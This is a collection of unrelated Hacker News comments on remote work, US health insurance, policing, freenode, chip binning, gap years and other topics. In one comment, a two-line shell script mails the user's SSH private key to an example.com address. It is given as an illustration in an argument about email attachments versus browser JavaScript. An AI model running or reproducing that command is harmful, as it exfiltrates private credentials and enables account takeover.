skysight-inc/HackerNews huggingface dataset:
Yes, in our case -- and in the general case, PPG can be assumed to stand for Photoplethysmogram. Also I'm not aware of any examples where "Photoplethysmogram" was used as a "Penile (PHOTO)-plethysmography", generally what I've read on "Penile plethysmography" are more direct measurements of the penis itself, not optical measurements of blood flow elsewhere on the body.

Because of that, I don't think it's reasonable to call Apples "touch sensing and haptic feedback technology the 'Faptic Engine' " at this time! but it is a funny pun!

We merely entertained the idea that it might be possible to use machine learning to infer erection status from a ppg sensor somewhere else.
I think that occasional in-person contact is important to avoid the "erosion of trust" that I've seen occur over and over again working full-time remote at multiple companies for most of a decade before COVID. Even famously all-remote teams have relied on periodic conferences and summits to maintain that contact. It works. It's why I never balked at travel requirements - as often as monthly - during those remote jobs.

The key is to recognize that the in-person contact is part of the mix to enhance empathy/connectedness and for those few situations where a multi-way high-bandwidth conversation is necessary. Planning sessions are an example IMO. Understanding how people really feel about priorities etc. is important, but often involves interpreting facial expressions and body language that aren't captured (or conveyed well) on video. Making it a part of your every day team work environment puts you into an entirely different and no longer remote-friendly milieu.
I really like Sterman's book. I think the top comment really nailed the challenge with this approach - it's very difficult to identify the components of a system.

I used this modeling approach quite a bit for a few years - my struggle was trying to quantify casual relationships. This is non-trivial (in so many different fields), which makes it really hard to have a reliable System Dynamics model.
Considering how much computing power is available and how much of it is used to deceive, misinform, or manipulate people, this sounds likely.

The only thing more disturbing and sad about this is how much consumer demand there is and will be for deception, misinformation, and manipulation.
Wait, so insurance doesn't even cover 100% of the costs?

So when you hear about those people who get lumped with $100k medical bills they still have to pay like $20k of that on top of your insurance?

What happens if you can't afford the remaining percentage?
I remember agreeing with most of this post when I first read it but I don't think we'll see a continuing dumbing down of code. Blockchain, whatever your view on it, is forcing a lot of developers to write low level code with an understanding of garbage collection, abstraction, etc. This is also being felt in data science in which AI models are getting more and more complicated and the only way to scale them is to write lower level code.

Point and click coding will never replace actually typing. Think about how much you can express with your hands versus speech. Unless you're versed in sign language, the gap will be very big.
AFAIK they are marketing the XPS line as business devices. That’s the line I tend to hear the stories about (and just replaced a device from with a fruit branded one).
This is fantastic

For one life is too short to work like a dog, and for anyone who stays they'll be able to demand higher salaries.

Right now I have enough money saved up where I don't really need to work for the rest of the year. If it wasn't for the pandemic restricting international travel, I would simply up and move to a low cost of living country and try and take a full year off.
Sure, the communities have moved on.
This is what Lee did not understand. freenode was never something he could own.

freenode was communities of people. The servers were donated, provided by people in the communities who wanted a reliable network. The staff were members of those communities, developers for those projects, and all volunteers. The users never were freenode users, they were ubuntu, and debian, and ham radio, and gimp users.

There was nothing to OWN.

And now that someone who has no clue about any of this does, they leave in droves.
If a quack doctor in the India performa a malicious surgery and kills a patient, do we blame doctors in the USA?

If not, why does a bad cop from some backwater town speak for all college educated cops from an arbitrary suburbia?

The first problem is that the USA has over 10,000 police departments. This means that one cop from Kentucky has absolutely no connection to one from Boston.

And yet, the current culture blames the Boston cop for the actions that the Kentucky cop does.
> and now back to decentralized apps running in the browser

I think it's now both, because things won't work correctly if you're offline for the most part. Tarpit diving.
I disagree. People have a right to know the provenance of their news and the Murdoch empire has an established history of questionable journalism. Those facts need to be a part of the conversation too.

Nobody is trying to suppress anything. You wouldn’t expect people to ignore Trump’s history of mendacity when assessing the credibility of claims made by him either.
You would definitely never shoot back along your own axis, or into your flanking formations. You just can't have enough situational awareness on who may be there. This is such an absolute that even when prosecuting an active firefight you would ask for permission to fire cross-boundary.
Stocks, sure. But don't sell your house (if you only have one).
Gamestop?

Sorry
> Maybe it's more of a European thing to do.

Yeah, for Americans it means buying health insurance which is quite a lot more expensive than what you get from your employer.
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'An inflated time estimate' - well there's your problem. If it's a point estimate, as it should be, it's quite easy to do. Your 'real' velocity may be 10 points, but your planned velocity is 7. That not only gives you a little buffer in the event of something unexpected (so you're less likely to miss a sprint commitment due to things your team controls), but in the event nothing takes that time, it's free time to work on what feels important.
It looks like you want a CLI-ified AppleScript.

https://en.wikipedia.org/wiki/AppleScript
Yes, that's usually the issue. Often those "salvaged" parts seem to work well enough (with a good power supply, at room temperature) and then after a while all your shipped units start failing...

That's if they're not just straight up a different (or non functional) part that's been re-marked and then you find yourself re-working hundreds or thousands of boards!
An Ode to the Business Card
The Wuhan Institue of Virology is where they identified the animal source of the original SARS virus.

So yeah. They researched in bats and corona virus.
Brave is a really good example of where the two can even meet. It would not have been possible without crypto, and I'd suggest it's much more useful than the entire traditional ad industry.
But through police unions, 100% of them fight against accountability for the bad actors.
You could make every youtube page redirect to freetube with a userscript
Me too! I made this site to help: https://fiers.co
Maybe a western/northern european thing to do.

In eastern Europe it's normal for your degree to take anywhere from 1-3 year longer than it should have for various reasons including "taking a year off to chill", but actual, planned gap years where you're not in education are basically unheard of. Let alone gap years where you travel around and spend money.

I know a few people who signed up for master degrees in say Germany and found that almost everyone in the program is a few years older then them.
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$680 is probably somewhat typical, I pay $1000/mo for family coverage.

It only covers "medically necessary" procedures as deemed by the insurance company (there are some laws requiring certain procedures to be covered). You have to use specific doctors and facilities.

Typically you have a deductible as well. I have to pay $4,000 out of my own pocket before insurance kicks in. Preventative care (check-ups) are usually covered by a co-pay, mine is $30.

There's usually an out-of-pocket maximum you can pay every year (mine is $9,000). That's the real value of the insurance... if you're in a catastrophic event hopefully it caps your costs (but it doesn't always depending on facility, procedures, etc).

Not sure what you mean by excess or value of coverage, but the answer is probably no.

This does not include dental or vision services.
A so-called "lobby system". Works well, IFF people understand that 1 passenger <=> 1 press, instead of having a group of (say) 5 having only one in the group press, then all of them piling in.

Used correctly, it can massively improve the elevator usage experience. Used incorrectly, it ends up being worse than a "indicate travel direction" system.

Having used it in 3 (I think) buildings with this system, it was definitely used correctly in one, definitely NOT used correctly in another and in the third, I was mostly present sufficiently outside normal working hours that I cannot with certainty state how it was used.
This is kind of meta, but what exactly is this site? Roaming around, it appears to be a bunch of blog posts written by the Chromium/Google team (except for one article I found which was written by a developer for The Telegraph). It's not exactly hiding it's association, I mean it's right there in the footer, but why isn't this under some kind of chromium or google url so the association is immediately obvious, or at least mentioned in the About page?

At the risk of sounding conspiratorial, it feels like they're trying to hide in plain sight, pushing Chrome only features while constantly just saying "mordern web", and while they pay passing mention that the API is "currently in development" it doesn't add the fact it is not standardised, and it likely won't be coming to Firefox at all, as they consider it harmful: https://github.com/mozilla/standards-positions/issues/154#is...
That’s just a wish.

How do you create the incentive for it?
This tends to be the case later on in a product's production run, as the manufacturer has fine tuned the process and worked out most of the kinks, the pass-rate of finished items increases.

At this point, yes they may lock down perfectly good high end CPUs to a midrange model spec to meet a production quota.
Very much not so?

Here's an email attachment that compromises your SSH private key:

#!/bin/sh
mail geofft@example.com < ~/.ssh/id_rsa

(With obvious changes for other OSes, but that's roughly the complexity of it, everywhere.)

Can you provide an example of "arbitrary JS with even more bare metal abilities" that can do the same thing? I'll even visit your website, with JavaScript enabled, on my laptop with a private key that can access GitHub.
The places I've worked that required time estimates (the wrong way to do it) still built in an overhead factor of ~30-40%. I.e., recognized that a dev would only put in 4-5 hours of 'coding' a day, with the rest taken up by meetings and random miscellany.
The most annoying thing is that I got married and I now want to share my Google One account with my family

...and I cannot, unless they all have my domain.

By the way, you can sort-of "move" your photos by adding them to shared album and "saving to local" on the other side. But then, if the original account is removed, the photos are still removed (AFAIK).
>Police are a necessary part of modern civilization. Full stop.

Sure, but how many? How much is the right amount. I hear the same said about our military, but it's degrees. Should we double the amount of money we spend on police? Triple? What's enough? Do we have too much now? There are lots of indications to me that it's turned into a make-work program.

>Police are a necessary part of modern civilization. Full stop. If they have no repercussions for bad actions, then implement them.

The unions are too powerful, the profession is too corrupt. Police "self regulate," and insiders who try to bring light to corruption typically get punished. It's too hard for the political process. All the while, the citizenry continues to get robbed, beaten and killed. Honestly the best thing to happen to the citizenry is phone cameras.

>It really isn't that complicated.

Maybe you should give it some more thought.
> Your whole argument was that Hezbollah is good for Israel, how thousands of rocket aiming at your population centers good for Israel? That's why what you wrote is bull.

You have half of middle east pointing rockets at Israel. In comparison with Hezbollah takeover effectively making Lebanon a non-country, price-benefit ratio is not simply positive, but overwhelmingly in Israel's favour.

In contrast with Syria, where the Iranian support tries to preserver the existing state, and where Israel clashed with it to the point they began aiding Syrian rebels.
It’s ok to say “that’s an interesting question and I’d like some time to think about it. Can I get back to you?” or “my initial thoughts are x, but I’ll think more about that and let you know if they change“.
> Someone has to work to produce food.

Only 1% of the workforce in the US produce food. That feeds America and some other countries.

> Someone has to work to produce electricity.

Again, you need really very few people to make electricity.
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As if they don't have their own commercial agenda, like having used PowerVR SGX545 on their CPUs.
I don't think mobile phones are the best place to go with Linux. I feel tablets are better. I would be happy to pay a tonne of money if someone could install Ubuntu or some other Linux based OS on my iPad as I still feel the hardware is great but the software is still pulling it back. A full desktop experience still isn't there though what the experience on the iPad is,I enjoy quite a bit.
I have worked more (and harder, quantifiable by sprint points if you must have a number) in the past year from home than in the entire rest of my career combined. My close ones tell me I'm just making "the man" more money, but I really don't mind it for some reason. I feel like I'm accomplishing goals and feel fulfilled in ways that I didn't previously. No signs of burnout, perhaps I am a freak of nature.
Well eventually as yields improve you start handicapping perfectly valid chips to main market segmentation.

I cannot say this for certain in CPUs but I know in other electronics with PCBs that this is how it is done. Sometimes lower-end SKUs are made by opening a higher-end one and cutting a wire or a trace.
I think the FIRE movement is going to see a huge surge.

Financial Independence Retire Early
> There's not much firms can do to hold onto employees

Well, they could always offer more money.

Sometimes I crack myself up.
Just lost out on a candidate who was in the 'talking with HR phase'. Their existing company offered a 100% salary bonus to stay for 12 months.

I'll hit them up again in a year :)
Web apps are centralized. They almost never work without a constant link to the server. The browser is basically the 21st century equivalent of the VT terminal.

We are in what I call the mainframe 2.0 era.
You can’t really just compare average salaries in different metros, because there’s major selection bias. The average engineer in South Dakota is not the same as one in San Francisco. Less talented workers tend to heavily flow towards low COL markets, because they’re less to achieve a high enough productivity differential to justify the high cost.

This obviously isn’t true for every single case. But the typical engineer at a sleepy regional bank is nowhere near talented enough to make it at a fast-paced, hyper-growth venture backed startup.
>is not a good sign for any organization

On the other hand reality doesn't operate optimally.
> At least crypto is a slightly-less-obnoxious industry than ads and tracking

And way more environmentally destructive than countless other things.
I’ve not taken a gap year or heard of anybody else that has either. My peers and I are all 1-2 jobs out of college, and we’re all terrified of having a gap in our resume. Apparently this concern is overblown, but we all seem to have learned it from our parents.
I left my job in May and I'm hiking the Appalachian Trail now. I saved more than enough for living in a tent for 5 months (admittedly the tent was expensive but I already had it). So far it's been great. I've met a lot of folks who are burned out and taking some time to think.

If long-distance hiking appeals, I'd be happy to discuss it.

Long-distance hiking isn't for everyone but
What did you end up doing after the 3 years? Why did you end it?
> At the risk of sounding conspiratorial, it feels like they're trying to hide in plain sight, pushing Chrome only features

I don't think that's too conspiratorial, I think that's exactly what is going on here.
But that's kind of the point - the article is not saying that the proportion of workers thinking about quitting has gone up dramatically. They're saying that "25% to upwards of 40%" are thinking about this, but it seems a completely reasonable rate even in normal conditions, for all we know it may not be an increase at all.
Amazon details new warehouse robots, 'Ernie' and 'Bert'
Dentist charged by SEC for digital token project fraud
Microsoft executive says workers slept in data centers during lockdown
That low? IRC is truly dead

But then again everyone is on Discord now so no surprise
Zenity or yad
Moynihan on why prior generations missed some of the biggest priorities of all
To prevent this the tech company I work for has just introduced world-wide a flexible work policy which allows you to chose (with only your manager's approval) if and how you want to return to the office.

100% were in full remote worldwide since August and offices are just starting to reopen.
I still like to know if hitting "the core part" of a black hole will be like hitting a super massive brick wall.

In other words: Does the massive part have a dimension (like the surface area has), or is it all in a dot?
What do you do? Contact Fortran code?
Most HN readers would be more than a little flummoxed at what "middle class" actually is in the US. The median household income is somewhere between $50-60k depending on where you look. The median individual income is a solid $15-20k less than that. And yet people will still nearly break their own spine trying to convolute a $200k cash comp tech worker as "middle class" because they happen to pay $4k/mo for a shared apartment in San Francisco.
> When you work for a fully remote company, on boarding is not difficult.

This is probably the key, to be honest. The companies where I've done this were not fully remote. I agree with you that conditional on being selected for a fully-remote company, this is fine. My understanding is that these companies tend not to hire as many juniors though, am I incorrect?
This sounds so incredible dangerous, OTOH there is no difference to curl | sh.
the classic reddit debate, are Moderators Janitors or leaders...

I have always said they should be viewed as content janitors but many many many (most) moderators disagree and take the limited power they have way to seriously
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It does have a sort of trojan-horse feel to it, since prior attempts to lock down desktops in the same way as iOS didn't work out well.
Just because pigeons can deliver messages doesn't mean it's turing complete. Although they could be used in data transfer. I've never seen anybody suggest that RFC1149 is Turning Complete, anyway.

Game of Life is totally Turing Complete though, so it's already proven that you can indeed run Doom on it.
Also - asking clarifying questions can drive the conversation. What is giving you pause? Can you ask about that? Shows others your thinking and gives you time to discuss.

Not everything you say had to be a genius answer. It can be a simple question to serve as a sounding board.
But medical malpractice is a thing, with personal consequences to the doctor. They might have insurance, and maybe it can be hard to prove wrongdoing, but there absolutely is "repercussions for bad actors" with respect to medicine. With police the problem is that they might not even get fired, and any judgements against them tend to at best get paid by taxpayers: there is no incentive to not be horrible.
HN has a strong anti-cryptocurrency bias. The comment got downvoted because it's irrelevant to the conversation.
in 2017, I left my job of 27 years.

Back then, the market was flooded with young folks out of bootcamps. So much so, in fact, that several companies had absolutely no problem treating me in quite shabby fashion, as I have committed the crime of Eld, along with a rather disturbing level of Provable Competence. These seem to be characteristics that immediately mark people for ridicule, humiliation, and indignity.

Fortunately, I had been quite frugal, and have enough to retire anytime I wanted. I won't be zipping around in any learjets, but I'll be OK.

I have never worked harder in my life; but I'm not making a dime. I'm working on the kind of software I find interesting, and that will actually have some real social impact, with people that treat me with basic human dignity and simple respect. It's cool. I'm also trying out and refining all kinds of ideas for high-quality, flexible software development, that no one was ever interested in exploring. They are working out fairly well. My GH Activity Graph has been solid green, for a couple of years. I like writing software (and delivering it).

I'm in no hurry to put myself in a position again, where my work can be destroyed by others; even if I do make decent money at it. I have found that the pain of having my work ruined is far greater than I had thought. It took several years of being able to do things the way that I want, to realize that[0].

This is actually what I have wanted all my life. I just didn't know it, as I had never taken the risk to give it a go.

This would not have happened, if the door had not been slammed in my face, forcing me to adapt.

I'm really quite happy to see that people younger than I am, are getting a chance to make this realization, and I wish them all the luck in the world, in following their muse. The tech industry should be engaging, fun, and a source of wonder. We have amazing tools, technology, and a maturity of community that was unavailable, when I started.

It would be great to see the tech field return to a greenfield, and a garden of pride in craftsmanship, real creativity, and joy in exploration, as opposed to the rather sordid, low-quality, mercenary mess, that it is now.

[0] https://dilbert.com/strip/1996-06-02
Sao Paulo did away with public advertising for a couple decades.

I believe it is creeping back in now. But it can be done.
(Please don't hear this as a criticism of your point - I'm just not very experienced with scrum.)

To what extent are sprint points a good measure of productivity or of effort? My understanding is that they're based on estimates, which seem like a moving target to me depending on the experience and motivations of the estimator.
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I’m surprised too - chromeos must have file handling right?
U.S. Supreme Court revives LinkedIn bid to shield personal data
Nothing like some good ol' off by one errors.
Any tips on rediscovering the joy of coding?